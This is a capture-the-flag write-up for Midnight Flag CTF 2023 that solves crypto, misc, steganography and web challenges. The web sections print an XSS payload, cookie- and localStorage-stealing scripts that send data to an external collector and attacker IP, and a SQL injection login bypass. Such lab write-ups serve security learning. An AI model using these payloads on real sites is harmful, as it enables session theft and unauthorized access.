Midnight Flag CTF 2023 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : Midnight Flag CTF 2023
  • Website : ctf.midnightflag.fr
  • Type : Online
  • Format : Jeopardy
  • CTF Time : N/A

Challenges#

  • Cryptography - M4giC
  • Misc - Palindrome
  • Misc - DNStonk
  • Steganography - Diff'Aire
  • Web - 010110000101001101010011
  • Web - Xd33r 1/5
  • Web - Xd33r 2/5
  • Web - Xd33r 3/5
  • Web - Xd33r 4/5

Tools#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S xortool p7zip ruby wireshark python-cryptography ctf-party curl jwt-tool burpsuite

Cryptography - M4giC#

12 bytes is military grade isn't it ?

File: https://cdn.midnightflag.fr/m4g1c.zip

Author: W00dy

Discovery#

The archive m4g1c.zip contain a python script and an encoded image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ 7z l m4g1c.zip

7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=C,Utf16=off,HugeFiles=on,64 bits,4 CPUs x64)

Scanning the drive for archives:
1 file, 47200 bytes (47 KiB)

Listing archive: m4g1c.zip

--
Path = m4g1c.zip
Type = zip
Physical Size = 47200

Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-04-11 20:14:15 D.... 0 0 dist
2023-04-11 20:14:15 ..... 56225 46397 dist/flag.jpg.lock
2023-04-11 20:14:15 ..... 588 321 dist/encrypt.py
------------------- ----- ------------ ------------ ------------------------
2023-04-11 20:14:15 56813 46718 2 files, 1 folders

The script is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
import os

def get_key(length):
return os.urandom(length)

def encrypt(filename, key):
filename_lock = filename + ".lock"
data = open(filename, "rb").read()
os.remove(filename)
locked = open(filename_lock, "wb")
for idx, i in enumerate(data):
locked.write((i ^ key[idx % len(key)]).to_bytes(1, "big"))

if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <file to cipher>")
exit(0)
else:
key = get_key(12)
encrypt(sys.argv[1], key)
print("File successfuly encrypted.")

The script XOR the image with a random key of length 12.

The attack#

But since the image is a .jpeg we can assume it's a JPEG image and we can guess it's using the classic JFIF magic byte, which is also 12 bytes long.

So we can xor the image with a magic bytes to the key back.

1
2
➜ xortool-xor -f dist/flag.jpg.lock -h FFD8FFE000104A4649460001 | xxd -l 12
00000000: fe61 cdc7 b880 fcd0 c13d f3e7 .a.......=..

Then we can use the key to get teh original image:

1
➜ xortool-xor -f dist/flag.jpg.lock -h fe61cdc7b880fcd0c13df3e7 -> flag.jpeg

The flag is: MCTF{L3s_By73s_M4g1qU3ssssss_763afe}.

Misc - Palindrome#

Hi friend! Here is a list of 25 words, for each of them you will have to tell me if it is a palindrome or not. Can you do it in less than 5 seconds?

Author : Nemo

nc palindrome.misc.midnightflag.fr 17002

Discovery#

Here is what the netcat service looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nc palindrome.misc.midnightflag.fr 17002 
Salut l'ami !
Voici une liste de 25 mots, pour chacun d'entre eux tu devras me dire si c'est un palindrome ou pas.
Tu peux me faire ça en moins de 5 secondes stp ?

Exemple :
Voici le mot : kayak
>> oui
Voici le mot : test
>> non
============================================

Voici le mot : Feuil
>> non
Voici le mot : Blanc
>> non
Voici le mot : Noir
>> non
Voici le mot : Vinyle
>> non
Voici le mot : Stats
>> non
Mauvaise réponse! bye..

A palindrome is just a word that can be read indifferently from left to right or from right to left while keeping the same meaning.

25 fives checks in 5 secs is too much to do manually so we have to script it.

Scripting#

Here is a pretty ruby script to solve this with elegance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
require 'socket'

hostname = 'palindrome.misc.midnightflag.fr'
port = 17002

s = TCPSocket.open(hostname, port)
output = ""
exit_test = nil
line_counter = 1

while not exit_test
line = s.gets.chomp # Read lines from the socket
puts line

if /Voici le mot : .+/.match?(line) && line_counter > 11 # ignore headers
word = /Voici le mot : (.+)/.match(line).captures.first
answer = word.casecmp(word.reverse).zero? ? 'oui' : 'non'
puts answer
s.puts answer
s.flush
elsif /MCTF{.+}/.match?(line)
exit_test = true
end

if exit_test
break
end

line_counter += 1
end

s.close

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
➜ ruby palindrome.rb
Salut l'ami !
Voici une liste de 25 mots, pour chacun d'entre eux tu devras me dire si c'est un palindrome ou pas.
Tu peux me faire ça en moins de 5 secondes stp ?

Exemple :
Voici le mot : kayak
>> oui
Voici le mot : test
>> non
============================================

Voici le mot : Sas
oui
>> Voici le mot : Reifier
oui
>> Voici le mot : Naan
oui
>> Voici le mot : Pop
oui
>> Voici le mot : Qazaq
oui
>> Voici le mot : Sanas
oui
>> Voici le mot : Noir
non
>> Voici le mot : Sanas
oui
>> Voici le mot : Senes
oui
>> Voici le mot : Poids
non
>> Voici le mot : Sable
non
>> Voici le mot : Sabas
oui
>> Voici le mot : Doigt
non
>> Voici le mot : Pop
oui
>> Voici le mot : Stats
oui
>> Voici le mot : Doigt
non
>> Voici le mot : Ete
oui
>> Voici le mot : Reer
oui
>> Voici le mot : Naan
oui
>> Voici le mot : Sassas
oui
>> Voici le mot : Moche
non
>> Voici le mot : Non
oui
>> Voici le mot : Reer
oui
>> Voici le mot : Test
non
>> Voici le mot : Senes
oui
>> Bien joué baudelaire : MCTF{3ng4ge_l3_j3ux_qu3_je_1e_g4gn3}

Misc - DNStonk#

Find the sensistive data captured in this pcap.

File: https://cdn.midnightflag.fr/DNStonk.zip

Author: Stinky

We can extract all DNS queries with Wireshark CLI:

1
2
3
4
5
6
7
8
9
10
11
12
➜ tshark -r heheboiiii.zip.pcapng -T fields -e dns.qry.name -Y "dns.flags.response eq 0"
collegehumor.com
nodejs.org
pageadgooglesyndication.com
amazon.com.au
medium.com
lhgoogleusercontent.com
target.com
refinerycom
discord.me
google.pl
...

By quickly browsing we can see 2 lines longer than usual that looks suspicious:

1
2
3
$ tshark -r heheboiiii.zip.pcapng -T fields -e dns.qry.name -Y "dns.flags.response eq 0" 2>/dev/null | awk 'length >= 40'
zddKGBJzBhqAhqsLaU3raQQJ2NXN6t2sMqaI5-EbXBU=.fernet.crypto.python
gAAAAABkOYHFTseEbHr5WLoOhNGBAVy9Cp4fSRBFi5rgtv.GKQQqBByAqDoI2F19awweUdAlvdHUh8eYojpAQC.-tZPc6xyr_Vkm0ZU0uahaXHTxfdULzBngI=.fernet.crypto.python

Let's use python-cryptography to decrypt fernet.

The first query must be the 32 bytes key and the 2nd longer query must be the token.

1
2
3
4
5
6
7
8
9
➜ python
Python 3.10.10 (main, Mar 5 2023, 22:26:53) [GCC 12.2.1 20230201] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from cryptography.fernet import Fernet
>>> key = 'zddKGBJzBhqAhqsLaU3raQQJ2NXN6t2sMqaI5-EbXBU='
>>> f = Fernet(key)
>>> token = 'gAAAAABkOYHFTseEbHr5WLoOhNGBAVy9Cp4fSRBFi5rgtv.GKQQqBByAqDoI2F19awweUdAlvdHUh8eYojpAQC.-tZPc6xyr_Vkm0ZU0uahaXHTxfdULzBngI='
>>> f.decrypt(token)
b'MCTF{n37w0rk_Is_S0_c00l}'

Steganography - Diff'Aire#

In the gallery of the attacker, there are some photos but there is an interesting detail, the suspicious photo is present twice, surely to hide some information or payload.

Try to find out what it hides.

Author: Nemo

https://cdn.midnightflag.fr/DiffAir.zip

Let's diff the 2 image, print only the bytes that are different in hex. Then convert it back to text and we can see something looking like a base64 string.

1
2
3
4
$ cmp -l airPort.jpg Airport.jpg | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}' | cut -d ' ' -f 2 | tr -d "\n" | ctf-party - from_hex
TUNURnttMXJyMHJfMW1hZzNfYzBtcDRyNGk1MG4hfQ==Ù.{Í4....$Ü.Äi5.é...í
.^*Õ0<<¡.e.t§.P.
?©÷¥v]ÿ.ùdê`B..ò£è..Á]

Easy flag:

1
2
$ printf 'TUNURnttMXJyMHJfMW1hZzNfYzBtcDRyNGk1MG4hfQ==' | base64 -d
MCTF{m1rr0r_1mag3_c0mp4r4i50n!}

Web - 010110000101001101010011#

Some small XSS.. Nothing easier right ?

Admin link: http://010110000101001101010011.web.midnightflag.fr:8080

Author: W00dy

http://010110000101001101010011.web.midnightflag.fr:8000/?source

Intro#

Just for the fun, the title is XSS in binary:

1
2
$ ctf-party '010110000101001101010011' from_bin
XSS

Source code analysis#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if(isset($_GET["source"])) {
echo highlight_file(__file__);
die();
}


if(isset($_GET["src"])) {
if(preg_match("/[a-zA-Z\\.\\\\]/", $_GET["src"]))
{
die("Nope.");
} else {
echo "<script src=\"".$_GET['src']. "\" > </script>";
}
}
?>

We can (nearly) freely inject a payload into a script attribute but all letters . and \.

So we can't write a domain or an IP address there because the dot is forbidden and we can't encode the payload in octal because the backslash is forbidden.

But we can injected something like this:

1
">JSFUCK
  • "> to close the attribute and the tag so we can inject in the script directly
  • replace JSFUCK with a JSFuck script (JS using only ()+[]!)

alert(1)

1
">[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

But it doesn't work with an empty sr or invalid one.

We can write a src with an IPv6 address containing lny numbers //[::]:8000 but that will be unpractical to get one.

But we could bypass this using decimal IP location, for example 10.10.10.10 can be written as 168430090 (I won't leak my IPv4 address).

Payload: //168430090:8000/1337

Full URL: http://010110000101001101010011.web.midnightflag.fr:8000/?src=//168430090:8000/1337

Then we can put whatever we want in the file named 1337 and serve it with a web server on an internet facing machine.

1337 cookie grabber exfiltrator:

1
2
3
4
5
fetch('https://en62rumvrks56.x.pipedream.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});

This work when I test it but it doesn't work when I submit the URL.

Note: the challenge was bugged when I tried this payload but by the time it was fixed I changed to a XHR.

1
2
3
4
5
6
var xhr=new XMLHttpRequest();
var data = JSON.stringify(localStorage);
xhr.open("GET", "http://10.10.10.10 :8000/?ls=" + data);
xhr.send();
xhr.open("GET", "http://10.10.10.10 :8000/?c=" + document.cookie);
xhr.send();

So then we receive the flag.

1
2
3
4
➜ python -m http.server --bind 10.10.10.10 --directory Public 8000
Serving HTTP on 10.10.10.10 port 8000 (http://10.10.10.10 :8000/) ...
34.141.104.105 - - [16/Apr/2023 01:42:57] "GET /1337 HTTP/1.1" 200 -
34.141.104.105 - - [16/Apr/2023 01:42:57] "GET /?c=flag=MCTF{BInAry_xsS_bypA55ss} HTTP/1.1" 200 -

Note: potentially binary IP and HTML escape were possible as well.

Web - Xd33r 1/5#

Mission: Gain internal access to a known APT via their custom C2 to inspect their internal discussions.

Background: A group of advanced persistent attackers (APTs) is very virulent at the moment and it is legitimate to wonder if they are involved in the plane crash. The group is known for conducting attacks on sensitive information systems. They have a track record of compromising airports and rail networks.

Expected outcome: The expected outcome of the mission is to obtain solid evidence of the group's involvement or non-involvement by compromising internal discussions. This access will also allow for further investigation of other ongoing investigations related to the group

Objective One: We have identified an endpoint corresponding to their C2, find the operators' login interface.

Author: Atlas

http://xd33r.web.midnightflag.fr:31080/ | http://xd33r.web.midnightflag.fr:31081/

There is an HTML comment with a hint:

1
2
3
4
5
6
7
8
9
10
➜ curl http://xd33r.web.midnightflag.fr:31080/ -s | grep '<!--'
<!-- Meta tag Keywords -->
<link rel="stylesheet" href="/assets/teaser/css/style.css" type="text/css" media="all" /> <!-- Style-CSS -->
<link rel="stylesheet" href="/assets/teaser/css/font-awesome.css"><!--fontawesome-css-->
<script src="/assets/teaser/js/jquery.min.js"></script><!--common-js-->
<link rel="stylesheet" href="/assets/teaser/css/jquery.countdown.css"/><!--jquery-css-->
<!--scripts-->
<script src="/assets/teaser/js/jquery.countdown.js"></script><!--countdowntimer-js-->
<script src="/assets/teaser/js/script.js"></script><!--countdowntimer-js-->
<!-- TODO: Add a script to detect if the user is logged, if he is, redirect him to: /operator/home -->

So the home is: http://xd33r.web.midnightflag.fr:31080/operator/login

Vous avez découvert la page de connexion ! Votre récompense: MCTF{h1dd3n_4cc3ss!!}

Web - Xd33r 2/5#

You've discovered the login interface, we need more. If only you could log in, we could get some valuable information.

Author: Atlas

http://xd33r.web.midnightflag.fr:31080/

We can see the following script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<script>api_url = "http://xd33r.web.midnightflag.fr:31081/api";</script>
<script src="/assets/js/general.js"></script>

<script> jQuery(document).ready(function($) {
redirect_auth();
hydrate_flag();
});

function hydrate_flag() {
$.ajax({
url: "http://xd33r.web.midnightflag.fr:31081/api/heartbeat",
success: function(response) {
if(response.flag) {
$('#flag').html(response.flag.toString().toHtmlEntities())
}
},
error: function(response) {
toast("error", "API is down!");
}
});
}

function login(e) {
e.preventDefault();
let data = {
email: $('#login').val(),
password: $('#password').val()
}
$.ajax({
url: "http://xd33r.web.midnightflag.fr:31081/api/auth/login",
type: "POST",
data: JSON.stringify(data),
contentType: "application/json",
success: function(response) {
if(response.token) {
localStorage.setItem("token", response.token);
document.location.href = "/operator/2fa";
}
},
error: function(response) {
toast("error", response.responseJSON.message);
}
});
}</script>

We can see a successful login redirects to /operator/2fa, so let's go there directly.

http://xd33r.web.midnightflag.fr:31080/operator/2fa

Vous avez réussi à vous connecter ! Votre récompense vous attend dans le token JWT !

We can see the JWT should be stored in local storage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script>
jQuery(document).ready(function($) {
$("#user_name").text(user.nickname.toString().toHtmlEntities());
$("#user_image").attr('src', "/assets/images/avatar/"+user.image.toString().toHtmlEntities());
});

function tryCode() {

$.ajax({
url: api_url+"/auth/otp/verify",
type: "POST",
data: JSON.stringify({code: $('#code').val()}),
contentType: "application/json",
headers: {
"Authorization": "Bearer " + localStorage.getItem('token')
},
success: function(response) {
localStorage.setItem('token', response.token);
document.location.href = "/operator/home";
},
error: function(response) {
toast("error", "Wrong code");
}
});
}</script>

But isn't not since we didn't log in properly.

Let see the other script http://xd33r.web.midnightflag.fr:31080/assets/js/general.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
function get_user() {
token = localStorage.getItem('token')
if (token != null) {
let xhr = new XMLHttpRequest();
xhr.open("GET", api_url+"/me", false);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.setRequestHeader("Authorization", "Bearer " + token);
xhr.send();
if (xhr.status === 200) {
let response = JSON.parse(xhr.responseText)
user = response.data.user
user.otp = response.data.otp
} else {
localStorage.removeItem("token");
}
}
}
...

But I went to far, I just need to perform an SQLi on the login form.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/auth/login HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Content-Length: 46
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Type: application/json
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"email":"admin' or 1=1-- -","password":"sdf"}
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
content-length: 290
connection: close
access-control-allow-credentials: true
content-type: application/json
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
access-control-allow-origin: http://xd33r.web.midnightflag.fr:31080
date: Sun, 16 Apr 2023 01:01:02 GMT

{"status":"success","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaE"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ jwt-tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaE

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = "JWT"
[+] alg = "HS256"

Token payload values:
[+] sub = "823df4e6-81d5-43d0-9fb6-dce40305be6f"
[+] logged = False
[+] flag = "MCTF{g0t_1nj3ct3d&b1p4$3d~!}"
[+] iat = 1681606862 ==> TIMESTAMP = 2023-04-16 03:01:02 (UTC)
[+] exp = 1681610462 ==> TIMESTAMP = 2023-04-16 04:01:02 (UTC)

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 1 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

Web - Xd33r 3/5#

A code is expected? It seems to be a 2FA, considering the security level of the site, you should surely be able to bypass it easily !

Author: Atlas

http://xd33r.web.midnightflag.fr:31080/

Requesting a wrong OTP code fails but returns the right code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/auth/otp/verify HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Content-Length: 17
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Type: application/json
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"code":"000000"}
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 409 Conflict
content-length: 38
connection: close
access-control-allow-origin: http://xd33r.web.midnightflag.fr:31080
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
content-type: application/json
access-control-allow-credentials: true
date: Sun, 16 Apr 2023 01:11:54 GMT

{"message":"903034","status":"failed"}

So then we just have to request to right code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/auth/otp/verify HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Content-Length: 17
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOmZhbHNlLCJmbGFnIjoiTUNURntnMHRfMW5qM2N0M2QmYjFwNCQzZH4hfSIsImlhdCI6MTY4MTYwNjg2MiwiZXhwIjoxNjgxNjEwNDYyfQ.CzawvhWZcTmnEYeri6sbPdXZzwNVN9UABjmjJyRPBaE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Type: application/json
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"code":"903034"}
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
content-length: 300
connection: close
access-control-allow-origin: http://xd33r.web.midnightflag.fr:31080
content-type: application/json
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
access-control-allow-credentials: true
date: Sun, 16 Apr 2023 01:15:04 GMT

{"status":"success","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3NzA0LCJleHAiOjE2ODE2MTEzMDR9.meItLzukFoNK8X1ukTp73yfBZ3z3o1Ink25FHP1O_jE"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ jwt-tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3NzA0LCJleHAiOjE2ODE2MTEzMDR9.meItLzukFoNK8X1ukTp73yfBZ3z3o1Ink25FHP1O_jE

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = "JWT"
[+] alg = "HS256"

Token payload values:
[+] sub = "823df4e6-81d5-43d0-9fb6-dce40305be6f"
[+] logged = True
[+] flag = "MCTF{2FA_c0de_sh0uld_r3m41n_s3cr3t?!}"
[+] iat = 1681607704 ==> TIMESTAMP = 2023-04-16 03:15:04 (UTC)
[+] exp = 1681611304 ==> TIMESTAMP = 2023-04-16 04:15:04 (UTC)

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 1 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

Web - Xd33r 4/5#

It looks like an ESNA compromise is proven (ID: d2f2b880-1bb8-4cf3-a46e-c23e34fbdede), get the decryption tool and get your reward by decrypting the flag.png file associated with Morpheus's computer.

Author: Atlas

http://xd33r.web.midnightflag.fr:31080/

There is the following script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<script>
var csv="";
function download_csv() {
let a = document.createElement("a");
a.href = "data:text/txt," + csv;
a.target = '_blank';
a.download = "beacons.csv";
a.click();
}

function get_beacons() {
$.ajax({
url: api_url+"/beacons",
headers: {
"Authorization": "Bearer " + localStorage.getItem('token')
},
success: function(response) {
let beacons_table = ""
let i = 0
csv = response.data.csv;
response.data.beacons.sort((a, b) => new Date(b.date) - new Date(a.date));
for(let beacon of response.data.beacons) {
let row_class = "clickable-row"
if(i==0) row_class="bt-3 border-danger "+row_class
state = get_status(beacon.state)
beacons_table += `<tr class="`+row_class+`" data-href="/operator/beacon/`+beacon.id+`">
<td scope="row">`+beacon.name.toString().toHtmlEntities()+`</td>
<td>`+beacon.computers.toString().toHtmlEntities()+`</td>
<td>`+beacon.files.toString().toHtmlEntities()+`</td>
<td><span href="#" class="badge badge-`+state[1]+`">`+state[0]+`</span></td>
<td>`+beacon.date+`</td>
</tr>
`;
i++;
}
$("#beacons").html(beacons_table);
$(".clickable-row").click(function() {
window.location = $(this).data("href");
});
}
});
}
</script>

We can download the CSV:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"ID","Name","Computers","Files","Status","Date"
"644f03ab-af2c-4444-a738-6e6e4552c231","MCDollars","2","28","4","2023-04-05 10:34:45 UTC"
"4fd23a1c-c2fd-47a4-8a9e-863bbf15b01e","Groogle","9","73","4","2023-03-17 22:44:51 UTC"
"579ecc8f-cdc1-4ee4-ae00-471fb1bbfcdc","FeestLocker","2","10","4","2023-03-14 01:14:41 UTC"
"2a1d7144-9269-420c-9926-fc274baaaf71","MagicSis","3","34","2","2023-03-25 00:13:44 UTC"
"07f015dc-48ff-4ac3-a34b-888e884a7d95","RougeBytes","1","8","2","2023-03-13 04:50:22 UTC"
"ca478e4d-342d-4371-b1b1-b7a8a3612ed4","Octermignon","6","58","4","2023-04-04 20:53:42 UTC"
"15cd3b3b-db97-40ac-85e2-26a84d3f0ae3","Pwnhub","8","48","0","2023-03-31 15:46:51 UTC"
"80a5b2dc-4e18-4694-afd6-555c5c02f735","Amazowned","8","83","2","2023-03-13 01:03:50 UTC"
"7cabc31b-3d3c-4dcc-87e0-96bd8e6e79f0","DalleBreakers","8","70","4","2023-03-30 09:24:49 UTC"
"10e8d816-19b5-4e6c-af5d-dbd3de6561b0","Micro-softdrink","7","78","4","2023-04-09 19:04:58 UTC"
"80ef684d-4e13-41d5-83ce-1e4e563a9ba5","Poune-and-pistoune","0","0","0","2023-04-14 04:12:20 UTC"
